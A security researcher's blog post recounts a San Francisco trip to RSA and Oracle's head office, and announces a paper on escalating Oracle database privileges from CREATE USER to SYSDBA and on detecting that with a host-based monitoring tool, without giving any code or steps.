San Francisco and speaking at RSA Moscone was a great experience and being invited to Oracle’s Head Office in Redwood for a tour and to talk security was an unexpected highlight of the trip. Oracle’s Head office is a pleasant excursion with a lake and growing bird sanctuary. One reason for the visit was to discuss and gain permission for publishing my new paper which is entitled “CREATE USER to SYSDBA”. It details a novel method for a user to escalate their privileges by overriding a SYS package with their own package via the CREATE USER system privilege using a bug that I came across. CREATE USER system privilege is commonly held by support/help desk accounts as well as developer/application accounts, which would be less well secured and less privileged than the SYS account, and should therefore be kept seperate. Therefore DBA, Devs and Security folks should pay heed to the best practices in this paper.

There are quite a few medium level system privilege escalations to SYSDBA in Oracle but what made this one interesting is that it is a good example of an attack that can be alerted to by a host based system like Sentrigo Hedgehog but not by traditional network based systems. HH already has the advantage of being able to alert on SSH’d sessions and having an audit trail that is non-modifiable by a user that has gained SYSDBA, but crucially HH is not fooled by namespace overriding or attempts to bypass rules via synonyms as it knows the actual identity of objects that are called underneath the SQL query. Anyway the paper has example PoC code, HH rules and forensic response just like the last CREATE ANY DIRECTORY to SYSDBA paper had previously.

I have another paper entitled “CREATE PUBLIC SYNONYM to SYSDBA” paper in the pipeline, which will debut as part of the new SANS DAMS course I am writing and teaching in my spare time. Will hopefully be able to give a preview of this at UKOUG 2009 and at Openworld as well . It would be good to give my regards to Mr Moscone again.

Walking over the Golden Gate bridge provides a wonderful view of the Bay, and I can recommend the Cliff House Restaurant south of the Bridge towards Golden Gate Park, for a cracking view of the Pacific.

Cheers,
Paul